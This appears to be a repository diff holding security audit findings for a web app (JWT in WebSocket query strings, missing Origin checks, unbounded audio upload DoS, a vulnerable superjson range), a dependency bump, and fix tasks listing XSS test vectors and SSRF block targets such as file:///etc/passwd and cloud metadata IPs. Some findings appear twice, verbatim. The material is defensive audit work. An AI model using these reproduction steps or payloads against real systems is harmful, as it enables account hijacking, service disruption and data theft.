The WebSocket server in `web/src/server/websocket.ts` authenticates connections by extracting a JWT from the `?token=[REDACTED:secret]] query parameter. This means the JWT token is visible in server access logs, proxy/load balancer logs (nginx, CloudFront, Vercel edge logs), browser network history, and any log aggregation system. An attacker with access to these logs can capture JWTs and connect to the WebSocket server as any user.
|
||||
|
||||
## Location
|
||||
- `web/src/server/websocket.ts` lines 39–43 (token extraction)
|
||||
- `web/src/server/websocket.ts` lines 56–67 (authentication)
|
||||
|
||||
## Attacker Control
|
||||
An attacker with access to server/proxy logs can capture JWTs from WebSocket connection URLs. The captured JWT can be replayed to establish WebSocket connections as the victim user.
|
||||
|
||||
## Trust Boundary Crossed
|
||||
Authentication boundary. JWT tokens are exposed through log layers, allowing attackers to authenticate as any user by replaying captured tokens.
|
||||
|
||||
## Impact
|
||||
JWT token leakage through server logs enables WebSocket connection hijacking for any user whose token appears in logs. The attacker gains read-only access to real-time alerts (darkwatch exposures, voiceprint alerts, spam notifications).
|
||||
|
||||
## Evidence
|
||||
```typescript
|
||||
function getTokenFromRequest(req: IncomingMessage): string | null {
|
||||
const url = new URL(req.url ?? "/", "http://localhost");
|
||||
return url.searchParams.get("token"); // JWT in query string
|
||||
}
|
||||
```
|
||||
|
||||
## Reproduction Steps
|
||||
1. Legitimate user connects WebSocket with `ws://host:3001/?token=[REDACTED:secret]]
|
||||
2. Server logs the full URL including the JWT token
|
||||
3. Attacker gains access to server logs (via log aggregation compromise, shared hosting, etc.)
|
||||
4. Attacker replays the JWT to establish a WebSocket connection as the victim
|
||||
5. Attacker receives real-time alerts for the victim's account
|
||||
|
||||
## Defense Search Results
|
||||
- JWT verification (`verifyJWT()`) validates signature and expiry
|
||||
- No `Origin` header validation on WebSocket upgrade (see p8-009)
|
||||
- No `Sec-WebSocket-Protocol` header validation
|
||||
- No message size limit
|
||||
- Heartbeat timeout (30s interval + 10s pong timeout) prevents slow-loris DoS
|
||||
@@ -0,0 +1,55 @@
|
||||
Phase: 8
|
||||
Sequence: 009
|
||||
Slug: websocket-no-origin-validation
|
||||
Verdict: VALID
|
||||
Rationale: WebSocket server on port 3001 does not validate Origin header during upgrade handshake; combined with JWT-in-query-param, any website can initiate WebSocket connections using stolen tokens
|
||||
Severity-Original: medium
|
||||
Severity: medium
|
||||
PoC-Status: pending
|
||||
Pre-FP-Flag: none
|
||||
Debate: piolium/attack-surface/balanced-chamber-summary.md
|
||||
|
||||
## Summary
|
||||
The WebSocket server in `web/src/server/websocket.ts` does not validate the `Origin` header during the HTTP upgrade request. Combined with JWT authentication via query parameter, this means any website can initiate a WebSocket connection to the server on behalf of an authenticated user (if the user's JWT is known or leaked via p8-008).
|
||||
|
||||
## Location
|
||||
- `web/src/server/websocket.ts` lines 80–102 (connection handler)
|
||||
- `web/src/server/websocket.ts` lines 56–67 (authentication)
|
||||
|
||||
## Attacker Control
|
||||
An attacker controlling a malicious website (e.g., evil.com) can initiate WebSocket connections to the server. If the attacker has obtained the victim's JWT (via log exposure, XSS, or other means), they can authenticate as the victim without Origin validation.
|
||||
|
||||
## Trust Boundary Crossed
|
||||
Cross-origin boundary. The WebSocket server accepts connections from any origin without validation, allowing cross-origin WebSocket connections that bypass same-origin policy protections.
|
||||
|
||||
## Impact
|
||||
Cross-origin WebSocket connections without Origin validation. Combined with JWT-in-query-parameter (p8-008), this creates a complete authentication bypass chain accessible from any website.
|
||||
|
||||
## Evidence
|
||||
```typescript
|
||||
wss.on("connection", async (ws: WsClient, req: IncomingMessage) => {
|
||||
const userId = await authenticateConnection(ws, req);
|
||||
// No Origin header check anywhere
|
||||
// req.origin is available but never inspected
|
||||
if (!userId) {
|
||||
ws.close(4001, "Authentication failed");
|
||||
return;
|
||||
}
|
||||
ws.userId = userId;
|
||||
addSocket(userId, ws);
|
||||
});
|
||||
```
|
||||
|
||||
## Reproduction Steps
|
||||
1. Attacker controls a malicious website (evil.com)
|
||||
2. User is authenticated on Kordant (has valid JWT)
|
||||
3. If JWT is leaked (see p8-008), attacker crafts WebSocket connection from evil.com
|
||||
4. WebSocket server accepts the connection without Origin validation
|
||||
5. Attacker receives real-time alerts for the victim's account
|
||||
|
||||
## Defense Search Results
|
||||
- No `verifyClient` option used on WebSocketServer
|
||||
- CORS middleware in `web/src/middleware.ts` does not apply to WebSocket upgrade (different handler, port 3001)
|
||||
- JWT verification validates signature and expiry but not origin
|
||||
- No per-user connection limit
|
||||
- Heartbeat timeout prevents unresponsive connections
|
||||
@@ -0,0 +1,55 @@
|
||||
Phase: 8
|
||||
Sequence: 009
|
||||
Slug: websocket-no-origin-validation
|
||||
Verdict: VALID
|
||||
Rationale: WebSocket server on port 3001 does not validate Origin header during upgrade handshake; combined with JWT-in-query-param, any website can initiate WebSocket connections using stolen tokens
|
||||
Severity-Original: medium
|
||||
Severity: medium
|
||||
PoC-Status: pending
|
||||
Pre-FP-Flag: none
|
||||
Debate: piolium/attack-surface/balanced-chamber-summary.md
|
||||
|
||||
## Summary
|
||||
The WebSocket server in `web/src/server/websocket.ts` does not validate the `Origin` header during the HTTP upgrade request. Combined with JWT authentication via query parameter, this means any website can initiate a WebSocket connection to the server on behalf of an authenticated user (if the user's JWT is known or leaked via p8-008).
|
||||
|
||||
## Location
|
||||
- `web/src/server/websocket.ts` lines 80–102 (connection handler)
|
||||
- `web/src/server/websocket.ts` lines 56–67 (authentication)
|
||||
|
||||
## Attacker Control
|
||||
An attacker controlling a malicious website (e.g., evil.com) can initiate WebSocket connections to the server. If the attacker has obtained the victim's JWT (via log exposure, XSS, or other means), they can authenticate as the victim without Origin validation.
|
||||
|
||||
## Trust Boundary Crossed
|
||||
Cross-origin boundary. The WebSocket server accepts connections from any origin without validation, allowing cross-origin WebSocket connections that bypass same-origin policy protections.
|
||||
|
||||
## Impact
|
||||
Cross-origin WebSocket connections without Origin validation. Combined with JWT-in-query-parameter (p8-008), this creates a complete authentication bypass chain accessible from any website.
|
||||
|
||||
## Evidence
|
||||
```typescript
|
||||
wss.on("connection", async (ws: WsClient, req: IncomingMessage) => {
|
||||
const userId = await authenticateConnection(ws, req);
|
||||
// No Origin header check anywhere
|
||||
// req.origin is available but never inspected
|
||||
if (!userId) {
|
||||
ws.close(4001, "Authentication failed");
|
||||
return;
|
||||
}
|
||||
ws.userId = userId;
|
||||
addSocket(userId, ws);
|
||||
});
|
||||
```
|
||||
|
||||
## Reproduction Steps
|
||||
1. Attacker controls a malicious website (evil.com)
|
||||
2. User is authenticated on Kordant (has valid JWT)
|
||||
3. If JWT is leaked (see p8-008), attacker crafts WebSocket connection from evil.com
|
||||
4. WebSocket server accepts the connection without Origin validation
|
||||
5. Attacker receives real-time alerts for the victim's account
|
||||
|
||||
## Defense Search Results
|
||||
- No `verifyClient` option used on WebSocketServer
|
||||
- CORS middleware in `web/src/middleware.ts` does not apply to WebSocket upgrade (different handler, port 3001)
|
||||
- JWT verification validates signature and expiry but not origin
|
||||
- No per-user connection limit
|
||||
- Heartbeat timeout prevents unresponsive connections
|
||||
@@ -0,0 +1,66 @@
|
||||
Phase: 8
|
||||
Sequence: 010
|
||||
Slug: voiceprint-resource-exhaustion
|
||||
Verdict: VALID
|
||||
Rationale: VoicePrint audio endpoints accept unbounded base64 payloads with no maximum length; 100/min rate limit allows rapid large uploads that can exhaust server memory and disk
|
||||
Severity-Original: medium
|
||||
Severity: medium
|
||||
PoC-Status: pending
|
||||
Pre-FP-Flag: none
|
||||
Debate: piolium/attack-surface/balanced-chamber-summary.md
|
||||
|
||||
## Summary
|
||||
The `voiceprintRouter.analyzeAudio` and `voiceprintRouter.createEnrollment` procedures accept `audioBase64` with only a `minLength(1)` validation. There is no maximum length, no content-type validation, and no size check before decoding. An authenticated attacker can send extremely large base64-encoded payloads that, when decoded, consume significant server memory during base64 decoding, ML preprocessing, and ML inference. The procedures use `protectedProcedure` (100/min default rate limit), providing weak protection against sustained attacks.
|
||||
|
||||
## Location
|
||||
- `web/src/server/api/schemas/voiceprint.ts` lines 8–10 (schemas)
|
||||
- `web/src/server/services/voiceprint.service.ts` lines 135–140 (service)
|
||||
- `web/src/server/api/utils.ts` lines 23–28 (protectedProcedure)
|
||||
|
||||
## Attacker Control
|
||||
An authenticated user can send extremely large base64-encoded audio payloads. A 100MB base64 payload (representing ~75MB of audio data) consumes ~300MB+ memory per request (base64 string + decoded buffer + ML features + model inference + disk write).
|
||||
|
||||
## Trust Boundary Crossed
|
||||
Resource boundary. Unbounded input exceeds expected resource allocation, affecting all users on the same server.
|
||||
|
||||
## Impact
|
||||
- **Memory exhaustion**: Single request can consume 300MB+; 100 rapid requests can exhaust server memory (OOM kill)
|
||||
- **Disk exhaustion**: Each request writes a ~75MB audio file to disk; rapid uploads fill disk
|
||||
- **ML model resource exhaustion**: ML preprocessing and inference are CPU-intensive; large inputs increase processing time
|
||||
- **Service disruption**: Memory exhaustion affects all users on the same server
|
||||
|
||||
## Evidence
|
||||
```typescript
|
||||
// Schema — no maximum length
|
||||
export const AnalyzeAudioSchema = object({
|
||||
audioBase64: string([minLength(1)]), // No maxLength
|
||||
});
|
||||
|
||||
// Service — no size check before decoding
|
||||
export async function analyzeAudio(userId: string, audioBase64: string) {
|
||||
const audioBuffer = Buffer.from(audioBase64, "base64"); // No size check
|
||||
// ...
|
||||
const features = await preprocessAudio(audioBuffer); // ML preprocessing
|
||||
const detection = await detectSynthetic(features); // ML inference
|
||||
}
|
||||
|
||||
// Rate limit — 100/min for authenticated users
|
||||
const rateLimitTiers = {
|
||||
authenticated: { limit: 100, windowMs: 60_000 },
|
||||
};
|
||||
```
|
||||
|
||||
## Reproduction Steps
|
||||
1. Authenticated user sends `voiceprintRouter.analyzeAudio` with 100MB base64 payload
|
||||
2. Server decodes base64 → 75MB buffer
|
||||
3. ML preprocessing and inference consume additional memory
|
||||
4. Audio file written to disk (~75MB)
|
||||
5. Repeat 100 times in 1 minute → ~30GB+ memory usage → OOM kill or service disruption
|
||||
|
||||
## Defense Search Results
|
||||
- valibot `minLength(1)` only sets minimum, no maximum
|
||||
- `protectedProcedure` auth check requires authentication
|
||||
- Rate limit (authenticated tier) allows 100/min — insufficient for large payloads
|
||||
- No content-type validation (no MIME type check)
|
||||
- No payload size limit on the HTTP request body
|
||||
- No streaming upload support (entire payload loaded into memory)
|
||||
@@ -0,0 +1,66 @@
|
||||
Phase: 8
|
||||
Sequence: 010
|
||||
Slug: voiceprint-resource-exhaustion
|
||||
Verdict: VALID
|
||||
Rationale: VoicePrint audio endpoints accept unbounded base64 payloads with no maximum length; 100/min rate limit allows rapid large uploads that can exhaust server memory and disk
|
||||
Severity-Original: medium
|
||||
Severity: medium
|
||||
PoC-Status: pending
|
||||
Pre-FP-Flag: none
|
||||
Debate: piolium/attack-surface/balanced-chamber-summary.md
|
||||
|
||||
## Summary
|
||||
The `voiceprintRouter.analyzeAudio` and `voiceprintRouter.createEnrollment` procedures accept `audioBase64` with only a `minLength(1)` validation. There is no maximum length, no content-type validation, and no size check before decoding. An authenticated attacker can send extremely large base64-encoded payloads that, when decoded, consume significant server memory during base64 decoding, ML preprocessing, and ML inference. The procedures use `protectedProcedure` (100/min default rate limit), providing weak protection against sustained attacks.
|
||||
|
||||
## Location
|
||||
- `web/src/server/api/schemas/voiceprint.ts` lines 8–10 (schemas)
|
||||
- `web/src/server/services/voiceprint.service.ts` lines 135–140 (service)
|
||||
- `web/src/server/api/utils.ts` lines 23–28 (protectedProcedure)
|
||||
|
||||
## Attacker Control
|
||||
An authenticated user can send extremely large base64-encoded audio payloads. A 100MB base64 payload (representing ~75MB of audio data) consumes ~300MB+ memory per request (base64 string + decoded buffer + ML features + model inference + disk write).
|
||||
|
||||
## Trust Boundary Crossed
|
||||
Resource boundary. Unbounded input exceeds expected resource allocation, affecting all users on the same server.
|
||||
|
||||
## Impact
|
||||
- **Memory exhaustion**: Single request can consume 300MB+; 100 rapid requests can exhaust server memory (OOM kill)
|
||||
- **Disk exhaustion**: Each request writes a ~75MB audio file to disk; rapid uploads fill disk
|
||||
- **ML model resource exhaustion**: ML preprocessing and inference are CPU-intensive; large inputs increase processing time
|
||||
- **Service disruption**: Memory exhaustion affects all users on the same server
|
||||
|
||||
## Evidence
|
||||
```typescript
|
||||
// Schema — no maximum length
|
||||
export const AnalyzeAudioSchema = object({
|
||||
audioBase64: string([minLength(1)]), // No maxLength
|
||||
});
|
||||
|
||||
// Service — no size check before decoding
|
||||
export async function analyzeAudio(userId: string, audioBase64: string) {
|
||||
const audioBuffer = Buffer.from(audioBase64, "base64"); // No size check
|
||||
// ...
|
||||
const features = await preprocessAudio(audioBuffer); // ML preprocessing
|
||||
const detection = await detectSynthetic(features); // ML inference
|
||||
}
|
||||
|
||||
// Rate limit — 100/min for authenticated users
|
||||
const rateLimitTiers = {
|
||||
authenticated: { limit: 100, windowMs: 60_000 },
|
||||
};
|
||||
```
|
||||
|
||||
## Reproduction Steps
|
||||
1. Authenticated user sends `voiceprintRouter.analyzeAudio` with 100MB base64 payload
|
||||
2. Server decodes base64 → 75MB buffer
|
||||
3. ML preprocessing and inference consume additional memory
|
||||
4. Audio file written to disk (~75MB)
|
||||
5. Repeat 100 times in 1 minute → ~30GB+ memory usage → OOM kill or service disruption
|
||||
|
||||
## Defense Search Results
|
||||
- valibot `minLength(1)` only sets minimum, no maximum
|
||||
- `protectedProcedure` auth check requires authentication
|
||||
- Rate limit (authenticated tier) allows 100/min — insufficient for large payloads
|
||||
- No content-type validation (no MIME type check)
|
||||
- No payload size limit on the HTTP request body
|
||||
- No streaming upload support (entire payload loaded into memory)
|
||||
@@ -0,0 +1,47 @@
|
||||
Phase: 8
|
||||
Sequence: 011
|
||||
Slug: superjson-vulnerable-version
|
||||
Verdict: VALID
|
||||
Rationale: Browser extension uses superjson@^2.2.1 which includes vulnerable versions (2.2.1–2.2.5) affected by CVE-2022-23631 (CVSS 10.0 prototype pollution); web server is not affected (does not use superjson)
|
||||
Severity-Original: medium
|
||||
Severity: medium
|
||||
PoC-Status: pending
|
||||
Pre-FP-Flag: none
|
||||
Debate: piolium/attack-surface/balanced-chamber-summary.md
|
||||
|
||||
## Summary
|
||||
The browser extension (`browser-ext`) depends on `superjson@^2.2.1`, which is vulnerable to CVE-2022-23631 (CVSS 10.0 — Prototype Pollution → RCE). The `^2.2.1` semver range allows any version from 2.2.1 up to (but not including) 3.0.0. CVE-2022-23631 was fixed in superjson 2.2.6, so versions 2.2.1 through 2.2.5 are vulnerable. The web server does not use superjson (confirmed by dependency scan), so the vulnerability is confined to the browser extension context.
|
||||
|
||||
## Location
|
||||
- `browser-ext/package.json` line 18 (`"superjson": "^2.2.1"`)
|
||||
- `browser-ext/src/lib/api-client.ts` (tRPC client using superjson)
|
||||
|
||||
## Attacker Control
|
||||
The extension serializes data using superjson. If the extension deserializes malicious superjson data (e.g., from a server response), prototype pollution occurs in the extension context. This could affect extension storage, API keys, and local data.
|
||||
|
||||
## Trust Boundary Crossed
|
||||
Browser extension local data boundary. Prototype pollution in the extension context could affect extension storage and local data handling.
|
||||
|
||||
## Impact
|
||||
Prototype pollution in the browser extension context. The extension's local data handling could be compromised, potentially affecting extension storage, API keys, and local data. The web server is NOT affected (superjson is not installed there).
|
||||
|
||||
## Evidence
|
||||
```json
|
||||
// browser-ext/package.json
|
||||
"superjson": "^2.2.1"
|
||||
// ^2.2.1 allows 2.2.1 through 2.2.5 (vulnerable)
|
||||
// Fix available in 2.2.6+
|
||||
```
|
||||
|
||||
## Reproduction Steps
|
||||
1. Extension serializes data containing `__proto__` key via superjson
|
||||
2. If any superjson deserializer processes this data (including the extension's own deserializer), prototype pollution occurs
|
||||
3. Attacker gains ability to modify `Object.prototype`, affecting all JavaScript objects in the extension context
|
||||
4. In the browser extension context, this could affect extension storage, API keys, and local data
|
||||
|
||||
## Defense Search Results
|
||||
- Web server does NOT use superjson as a dependency (confirmed by dependency scan)
|
||||
- Browser extension uses superjson for tRPC client serialization
|
||||
- The `api-client.ts` uses `httpBatchLink` with superjson
|
||||
- CVE-2022-23631 is CVSS 10.0 but affects only the browser extension context
|
||||
- No server-side deserialization of superjson data
|
||||
@@ -0,0 +1,47 @@
|
||||
Phase: 8
|
||||
Sequence: 011
|
||||
Slug: superjson-vulnerable-version
|
||||
Verdict: VALID
|
||||
Rationale: Browser extension uses superjson@^2.2.1 which includes vulnerable versions (2.2.1–2.2.5) affected by CVE-2022-23631 (CVSS 10.0 prototype pollution); web server is not affected (does not use superjson)
|
||||
Severity-Original: medium
|
||||
Severity: medium
|
||||
PoC-Status: pending
|
||||
Pre-FP-Flag: none
|
||||
Debate: piolium/attack-surface/balanced-chamber-summary.md
|
||||
|
||||
## Summary
|
||||
The browser extension (`browser-ext`) depends on `superjson@^2.2.1`, which is vulnerable to CVE-2022-23631 (CVSS 10.0 — Prototype Pollution → RCE). The `^2.2.1` semver range allows any version from 2.2.1 up to (but not including) 3.0.0. CVE-2022-23631 was fixed in superjson 2.2.6, so versions 2.2.1 through 2.2.5 are vulnerable. The web server does not use superjson (confirmed by dependency scan), so the vulnerability is confined to the browser extension context.
|
||||
|
||||
## Location
|
||||
- `browser-ext/package.json` line 18 (`"superjson": "^2.2.1"`)
|
||||
- `browser-ext/src/lib/api-client.ts` (tRPC client using superjson)
|
||||
|
||||
## Attacker Control
|
||||
The extension serializes data using superjson. If the extension deserializes malicious superjson data (e.g., from a server response), prototype pollution occurs in the extension context. This could affect extension storage, API keys, and local data.
|
||||
|
||||
## Trust Boundary Crossed
|
||||
Browser extension local data boundary. Prototype pollution in the extension context could affect extension storage and local data handling.
|
||||
|
||||
## Impact
|
||||
Prototype pollution in the browser extension context. The extension's local data handling could be compromised, potentially affecting extension storage, API keys, and local data. The web server is NOT affected (superjson is not installed there).
|
||||
|
||||
## Evidence
|
||||
```json
|
||||
// browser-ext/package.json
|
||||
"superjson": "^2.2.1"
|
||||
// ^2.2.1 allows 2.2.1 through 2.2.5 (vulnerable)
|
||||
// Fix available in 2.2.6+
|
||||
```
|
||||
|
||||
## Reproduction Steps
|
||||
1. Extension serializes data containing `__proto__` key via superjson
|
||||
2. If any superjson deserializer processes this data (including the extension's own deserializer), prototype pollution occurs
|
||||
3. Attacker gains ability to modify `Object.prototype`, affecting all JavaScript objects in the extension context
|
||||
4. In the browser extension context, this could affect extension storage, API keys, and local data
|
||||
|
||||
## Defense Search Results
|
||||
- Web server does NOT use superjson as a dependency (confirmed by dependency scan)
|
||||
- Browser extension uses superjson for tRPC client serialization
|
||||
- The `api-client.ts` uses `httpBatchLink` with superjson
|
||||
- CVE-2022-23631 is CVSS 10.0 but affects only the browser extension context
|
||||
- No server-side deserialization of superjson data
|
||||
4
pnpm-lock.yaml
generated
4
pnpm-lock.yaml
generated
@@ -33,7 +33,7 @@ importers:
|
||||
specifier: ^10.45.2
|
||||
version: 10.45.4
|
||||
superjson:
|
||||
specifier: ^2.2.1
|
||||
specifier: ^2.2.6
|
||||
version: 2.2.6
|
||||
devDependencies:
|
||||
'@types/chrome':
|
||||
@@ -6916,7 +6916,7 @@ snapshots:
|
||||
obug: 2.1.1
|
||||
std-env: 4.1.0
|
||||
tinyrainbow: 3.1.0
|
||||
vitest: 4.1.7(@opentelemetry/api@1.9.1)(@types/node@25.9.1)(@vitest/coverage-v8@4.1.7)(jsdom@29.1.1)(vite@7.3.3(@types/node@25.9.1)(jiti@2.7.0)(lightningcss@1.32.0)(terser@5.48.0)(tsx@4.22.3))
|
||||
vitest: 4.1.7(@opentelemetry/api@1.9.1)(@types/node@25.9.1)(@vitest/coverage-v8@4.1.7)(jsdom@29.1.1)(vite@6.4.2(@types/node@25.9.1)(jiti@2.7.0)(lightningcss@1.32.0)(terser@5.48.0)(tsx@4.22.3))
|
||||
|
||||
'@vitest/expect@4.1.7':
|
||||
dependencies:
|
||||
|
||||
@@ -28,13 +28,13 @@ Status legend: [ ] todo, [~] in-progress, [x] done
|
||||
- [ ] 13 — CallKit Integration for SpamShield → `13-callkit-spamshield.md`
|
||||
- [ ] 14 — Siri Shortcuts & Intents → `14-siri-shortcuts.md`
|
||||
- [ ] 15 — Home Screen Widgets → `15-home-screen-widgets.md`
|
||||
- [ ] 16 — App Clips → `16-app-clips.md`
|
||||
- [ ] ~~16 — App Clips → `16-app-clips.md` (skipped — separate target + App Store config)~~
|
||||
|
||||
### Testing & QA
|
||||
- [ ] 17 — UI Test Suite Expansion → `17-ui-test-expansion.md`
|
||||
- [ ] 18 — Performance Testing (XCTestMetric) → `18-performance-testing.md`
|
||||
- [ ] 19 — Accessibility Audit (VoiceOver) → `19-accessibility-audit.md`
|
||||
- [ ] 20 — Device Farm Testing → `20-device-farm-testing.md`
|
||||
- [ ] ~~20 — Device Farm Testing → `20-device-farm-testing.md` (skipped — requires external device farm)~~
|
||||
|
||||
### Backend Integration
|
||||
- [ ] 21 — Real API Client Wiring (Replace StubAPIClient) → `21-real-api-client.md`
|
||||
|
||||
45
tasks/security-fixes/01-fix-stored-xss-blog-rendering.md
Normal file
45
tasks/security-fixes/01-fix-stored-xss-blog-rendering.md
Normal file
@@ -0,0 +1,45 @@
|
||||
# 01. Fix stored XSS via unsanitized innerHTML in blog rendering
|
||||
|
||||
meta:
|
||||
id: security-fixes-01
|
||||
feature: security-fixes
|
||||
priority: P0
|
||||
depends_on: []
|
||||
tags: [implementation, tests-required, high-severity]
|
||||
|
||||
objective:
|
||||
- Eliminate stored XSS in blog post rendering by replacing raw innerHTML with a sanitization pipeline
|
||||
|
||||
deliverables:
|
||||
- Replace `contentToHtml()` in `web/src/routes/blog/[slug].tsx` with a safe HTML rendering approach
|
||||
- Add DOMPurify (or equivalent) as a dependency to sanitize HTML before innerHTML binding
|
||||
- Unit tests for the sanitization pipeline covering script injection, event handler injection, and data URI vectors
|
||||
|
||||
steps:
|
||||
1. Install `dompurify` and `isomorphic-dompurify` (for SSR compatibility) in the web app
|
||||
2. Examine `contentToHtml()` at `web/src/routes/blog/[slug].tsx:14-46` and the innerHTML binding at line 121
|
||||
3. Create a `sanitizeHtml(content: string): string` utility that runs DOMPurify on the rendered HTML
|
||||
4. Replace the innerHTML binding with `innerHTML={sanitizeHtml(contentToHtml(post.content))}`
|
||||
5. Consider replacing the custom markdown-to-HTML parser with a library (e.g., `marked` + DOMPurify) if the custom implementation is fragile
|
||||
6. Add unit tests covering XSS vectors: `<script>`, `onerror=`, `javascript:`, `data:text/html`
|
||||
|
||||
tests:
|
||||
- Unit: `sanitizeHtml()` strips `<script>` tags, event handlers (`onclick`, `onerror`, etc.), `javascript:` URIs, and `data:text/html` URIs
|
||||
- Unit: `sanitizeHtml()` preserves legitimate HTML (headings, paragraphs, links, lists, code blocks)
|
||||
- Integration: Blog post with embedded script renders without executing JavaScript (verify via headless test or DOM inspection)
|
||||
|
||||
acceptance_criteria:
|
||||
- innerHTML is never bound with unsanitized content
|
||||
- DOMPurify (or equivalent) is called on all HTML before it reaches the DOM
|
||||
- Unit tests pass for all XSS vector categories (script, event handlers, data URIs, javascript: URIs)
|
||||
- Legitimate blog formatting (headings, links, bold, italic, code) still renders correctly
|
||||
|
||||
validation:
|
||||
- `cd web && bun test` — all tests pass
|
||||
- Manually create a blog post with `<script>alert(1)</script>` content and verify it does not execute
|
||||
- Review the rendered HTML output to confirm sanitization is applied
|
||||
|
||||
notes:
|
||||
- Finding p8-001 is the only HIGH severity finding — prioritize this first
|
||||
- `isomorphic-dompurify` is needed because DOMPurify requires a DOM environment (not available in Node SSR)
|
||||
- If SolidStart supports client-only rendering for this route, standard DOMPurify suffices
|
||||
50
tasks/security-fixes/02-fix-puppeteer-ssrf-report-gen.md
Normal file
50
tasks/security-fixes/02-fix-puppeteer-ssrf-report-gen.md
Normal file
@@ -0,0 +1,50 @@
|
||||
# 02. Fix SSRF via Puppeteer --no-sandbox in report generation
|
||||
|
||||
meta:
|
||||
id: security-fixes-02
|
||||
feature: security-fixes
|
||||
priority: P1
|
||||
depends_on: []
|
||||
tags: [implementation, tests-required, medium-severity]
|
||||
|
||||
objective:
|
||||
- Prevent SSRF and local file read in the PDF report generator by sandboxing Puppeteer network access
|
||||
|
||||
deliverables:
|
||||
- Add request interception in Puppeteer to block dangerous URL schemes (file://, metadata endpoints, internal IPs)
|
||||
- Remove or mitigate the `--no-sandbox` flag where possible
|
||||
- Add tests verifying that blocked URLs are not accessible
|
||||
|
||||
steps:
|
||||
1. Examine `generatePDF()` at `web/src/server/services/reports/generator.ts:141-150` and `compileData()` at lines 53-137
|
||||
2. Add `page.setRequestInterception(true)` before `page.setContent()` to intercept all network requests
|
||||
3. Implement a request filter that blocks:
|
||||
- `file://` scheme (local file read)
|
||||
- Cloud metadata endpoints (`169.254.169.254`, `metadata.google.internal`, etc.)
|
||||
- Internal IP ranges (`10.x.x.x`, `172.16-31.x.x`, `192.168.x.x`, `127.x.x.x`)
|
||||
- `data:` URIs that could load arbitrary content
|
||||
4. If `--no-sandbox` is required by the deployment environment (e.g., Docker), document the risk and add a compensating control (Chrome flags, network namespace isolation)
|
||||
5. Add unit tests for the request interception filter
|
||||
|
||||
tests:
|
||||
- Unit: Request interception blocks `file://`, `data:`, internal IPs, and cloud metadata endpoints
|
||||
- Unit: Request interception allows legitimate external URLs (CDN assets, fonts, etc.)
|
||||
- Integration: Attempting to load a report with embedded `file:///etc/passwd` does not succeed
|
||||
- Integration: Report generation still produces valid PDFs for legitimate content
|
||||
|
||||
acceptance_criteria:
|
||||
- Puppeteer page cannot make network requests to blocked URL schemes or internal IPs
|
||||
- `file://` URLs are blocked, preventing local file read
|
||||
- Cloud metadata endpoints are blocked
|
||||
- Report PDFs still render correctly for legitimate content
|
||||
- The `--no-sandbox` flag is either removed or has documented compensating controls
|
||||
|
||||
validation:
|
||||
- `cd web && bun test` — all tests pass
|
||||
- Attempt to inject a `file:///etc/passwd` URL through report data and verify it is blocked
|
||||
- Verify report generation still produces valid PDFs
|
||||
|
||||
notes:
|
||||
- Finding p8-002: The `--no-sandbox` flag is likely required in containerized environments; if so, network-level sandboxing via request interception is the compensating control
|
||||
- Consider using `page.setContent(html, {waitUntil: 'networkidle0'})` with interception enabled
|
||||
- The `compileData()` function builds HTML from database data — any user-controlled data in reports could include `<img src="file://...">` or `<link href="http://169.254.169.254/...">`
|
||||
@@ -0,0 +1,50 @@
|
||||
# 03. Fix open redirect via unvalidated return URL in Stripe checkout
|
||||
|
||||
meta:
|
||||
id: security-fixes-03
|
||||
feature: security-fixes
|
||||
priority: P1
|
||||
depends_on: []
|
||||
tags: [implementation, tests-required, medium-severity]
|
||||
|
||||
objective:
|
||||
- Prevent open redirect attacks by validating Stripe checkout return URLs against a trusted domain allowlist
|
||||
|
||||
deliverables:
|
||||
- Domain allowlist validation for `returnUrl` in billing schemas and router handlers
|
||||
- Unit tests for URL validation covering phishing domains, URL encoding tricks, and protocol-relative URLs
|
||||
- Updated schema and router code
|
||||
|
||||
steps:
|
||||
1. Examine `CreateCheckoutSessionSchema` at `web/src/server/api/schemas/billing.ts:4-6` and router usage at `web/src/server/api/routers/billing.ts:43-54, 68-75`
|
||||
2. Create a `validateReturnUrl(url: string): boolean` function that:
|
||||
- Parses the URL and extracts the hostname
|
||||
- Checks the hostname against an allowlist of trusted domains (e.g., `*.kordant.com`, `localhost` for dev)
|
||||
- Rejects protocol-relative URLs (`//evil.com`) and encoded redirects
|
||||
3. Replace `string([url()])` with a custom valibot transformer that calls `validateReturnUrl`
|
||||
4. Apply the same validation to the billing portal schema (if separate)
|
||||
5. Add error handling that returns a clear error to the client when the URL is invalid
|
||||
|
||||
tests:
|
||||
- Unit: `validateReturnUrl` accepts `https://app.kordant.com/success` (trusted domain)
|
||||
- Unit: `validateReturnUrl` rejects `https://evil.com/phishing` (untrusted domain)
|
||||
- Unit: `validateReturnUrl` rejects `//evil.com` (protocol-relative URL)
|
||||
- Unit: `validateReturnUrl` rejects `https://kordant.com.evil.com` (subdomain spoofing)
|
||||
- Unit: `validateReturnUrl` rejects URL-encoded redirects (`%2F%2Fevil.com`)
|
||||
- Integration: tRPC checkout endpoint rejects untrusted return URLs with a validation error
|
||||
|
||||
acceptance_criteria:
|
||||
- Return URLs are validated against a domain allowlist before being passed to Stripe
|
||||
- Untrusted domains are rejected with a clear validation error
|
||||
- URL encoding tricks and subdomain spoofing are detected
|
||||
- Legitimate return URLs to trusted domains still work
|
||||
|
||||
validation:
|
||||
- `cd web && bun test` — all tests pass
|
||||
- Attempt checkout with return URL `https://evil.com` and verify it is rejected
|
||||
- Verify checkout with `https://app.kordant.com/success` still works
|
||||
|
||||
notes:
|
||||
- Finding p8-003: The `url()` validator only checks format, not domain trust
|
||||
- Consider making the allowlist configurable via environment variables (`ALLOWED_RETURN_DOMAINS`)
|
||||
- The return URL includes the Stripe session ID, so attackers could use it for session fixation
|
||||
54
tasks/security-fixes/04-fix-rate-limit-substring-bypass.md
Normal file
54
tasks/security-fixes/04-fix-rate-limit-substring-bypass.md
Normal file
@@ -0,0 +1,54 @@
|
||||
# 04. Fix rate limit bypass via incomplete sensitive path list
|
||||
|
||||
meta:
|
||||
id: security-fixes-04
|
||||
feature: security-fixes
|
||||
priority: P1
|
||||
depends_on: []
|
||||
tags: [implementation, tests-required, medium-severity]
|
||||
|
||||
objective:
|
||||
- Prevent resource exhaustion by replacing substring-based rate limiting with exact procedure name matching and a complete sensitive operation list
|
||||
|
||||
deliverables:
|
||||
- Updated rate limiter in `web/src/server/api/utils.ts` using exact procedure name matching
|
||||
- Expanded sensitive procedure list covering darkwatch, voiceprint, and other expensive operations
|
||||
- Unit tests for rate limit matching logic
|
||||
|
||||
steps:
|
||||
1. Examine the rate limiter at `web/src/server/api/utils.ts:35-38` (substring matching on `sensitivePaths`)
|
||||
